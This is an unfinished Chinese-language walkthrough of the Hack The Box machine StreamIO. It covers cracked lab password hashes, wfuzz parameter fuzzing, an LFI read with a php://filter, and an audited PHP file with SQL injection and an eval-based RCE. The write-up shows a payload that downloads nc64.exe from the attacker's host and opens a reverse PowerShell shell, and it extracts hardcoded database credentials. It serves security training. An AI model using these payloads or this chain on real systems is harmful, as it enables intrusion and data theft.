Hashfile 'hash' on line 3 (Alexen...c2b3d8270321140e5153f6637d3ee53 ): Token length exception
* Token length exception: 1/32 hashes
This error happens if the wrong hash type is specified, if the hashes are
malformed, or if input is otherwise not as expected (for example, if the
--username option is used but no username is present)
d41d8cd98f00b204e9800998ecf8427e:
admin :665a50ac9eaa781e4f7f04199db97a11:paddpadd
Barry :54c88b2dbd7b1a84012fabc1a4c73415:$hadoW
Bruno :2a4e2cf22dd8fcb45adcb91be1e22ae8:$monique$1991$
Clara :ef8f3d30a856cf166fb8215aca93e9ff:%$clara
Juliette :6dcd87740abb64edfa36d170f0d5450d:$3xybitch
Lauren :08344b85b329d7efd611b7a7743e8a09:##123a8j8w5123##
Lenord :ee0b8a0937abd60c2882eacb2f8dc49f:physics69i
lizi :e10adc3949ba59abbe56e057f20f883e:123456
Michelle :b83439b16f844bd6ffe35c02fe21b3c0:!?Love?!123
Sabrina :f87d3c0d6c8fd686aacc6627f1f493a5:!!sabrina$
Thane :3577c47eb1e12c8ba021611e1280753c:highschoolmusical
Victoria :b22abb47a02b52d5dfa27fb0b534f693:!5psycho8!
yoshihide :b779ba15cedfd22a023c4d8bcf5f2332:66boysandgirls..
构造两个字典
利用bp进行登录 最后通过yoshihide:66boysandgirls..成功登录但是没有交互的面板 发现之前的admin目录可以访问
代码审计与 LFI RCE
对admin目录进行第二次扫描，发现了之前漏扫的master.php
访问发现该文件只允许被包含
url看起来似乎可以传参，对参数名进行fuzz，发现了一个感兴趣的debug
┌──(kali㉿kali)-[~/StreamIO]
└─$ wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u https://streamio.htb/admin/?FUZZ=lizi --hh 1678 -H "Cookie: PHPSESSID=t4tvninhisdj22sid4frqcbeib"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: https://streamio.htb/admin/?FUZZ=lizi
Total requests: 207643
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000125: 200 122 L 295 W 3928 Ch "user"
000000242: 200 398 L 916 W 12484 Ch "staff"
000001013: 200 10790 25878 W 320235 Ch "movie"
L
000005329: 200 49 L 137 W 1712 Ch "debug"
对debug传参master.php试试，结果在没有管理员权限的情况下包含了master.php
试一下包含其他文件https://streamio.htb/admin/?debug=c:\windows\win.ini
失败
尝试用php伪协议读取一下master.php的源码 https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php
成功读取
解密一下master.php的源码
┌──(kali㉿kali)-[~/StreamIO]
└─$ base64 -d master.php
<h1>Movie managment</h1>
<?php
if(!defined('included'))
die("Only accessable through includes");
if(isset($_POST['movie_id']))
{
$query = "delete from movies where id = ".$_POST['movie_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from movies order by movie";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
<div>
<div class="form-control" style="height: 3rem;">
<h4 style="float:left;"><?php echo $row['movie']; ?></h4>
<div style="float:right;padding-right: 25px;">
<form method="POST" action="?movie=">
<input type="hidden" name="movie_id" value="<?php echo $row['id']; ?>">
<input type="submit" class="btn btn-sm btn-primary" value="Delete">
</form>
</div>
</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>Staff managment</h1>
<?php
if(!defined('included'))
die("Only accessable through includes");
$query = "select * from users where is_staff = 1 ";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
if(isset($_POST['staff_id']))
{
?>
<div class="alert alert-success"> Message sent to administrator</div>
<?php
}
$query = "select * from users where is_staff = 1";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
<div>
<div class="form-control" style="height: 3rem;">
<h4 style="float:left;"><?php echo $row['username']; ?></h4>
<div style="float:right;padding-right: 25px;">
<form method="POST">
<input type="hidden" name="staff_id" value="<?php echo $row['id']; ?>">
<input type="submit" class="btn btn-sm btn-primary" value="Delete">
</form>
</div>
</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>User managment</h1>
<?php
if(!defined('included'))
die("Only accessable through includes");
if(isset($_POST['user_id']))
{
$query = "delete from users where is_staff = 0 and id = ".$_POST['user_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from users where is_staff = 0";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
<div>
<div class="form-control" style="height: 3rem;">
<h4 style="float:left;"><?php echo $row['username']; ?></h4>
<div style="float:right;padding-right: 25px;">
<form method="POST">
<input type="hidden" name="user_id" value="<?php echo $row['id']; ?>">
<input type="submit" class="btn btn-sm btn-primary" value="Delete">
</form>
</div>
</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" )
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>
简单的代码审计发现问题，会执行被包含的文件中的命令
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" )
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
试一下有没有远程包含
在本体开启web服务，并准备一个nc64.exe
准备一个恶意脚本
┌──(kali㉿kali)-[~/StreamIO]
└─$ cat eval.php
system("powershell.exe -c wget http://10.10.16.14/nc64.exe -outfile c:\\programdata\\nc64.exe")
system("c:\\programdata\\nc64.exe 10.10.16.14 443 -e powershell.exe")
建立监听
用curl执行成功拿到初步shell
权限提升
数据库凭据获取与横向移动
接下来要尝试横向移动
查找一下数据库登陆凭据
在login.php中找到db_user凭据
$connection = array("Database"=>"STREAMIO" , "UID" => "db_user", "PWD" => 'B1@hB1@hB1@h');
在regester.php中找到admin.php的凭据
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
当前进度（WIP）
本文到“数据库凭据提取”阶段结束，后续横向移动、域提权和最终收尾尚未补充。
后续可按完整版 notes/streamIO-HTB-windows-medium/index.md 的路线继续完善。
下一步计划
- 用提取到的数据库凭据继续枚举可登录用户与可复用口令。
- 补全 WinRM/AD 横向移动步骤及关键命令输出。
- 完整记录最终提权链和 root/administrator 侧验证。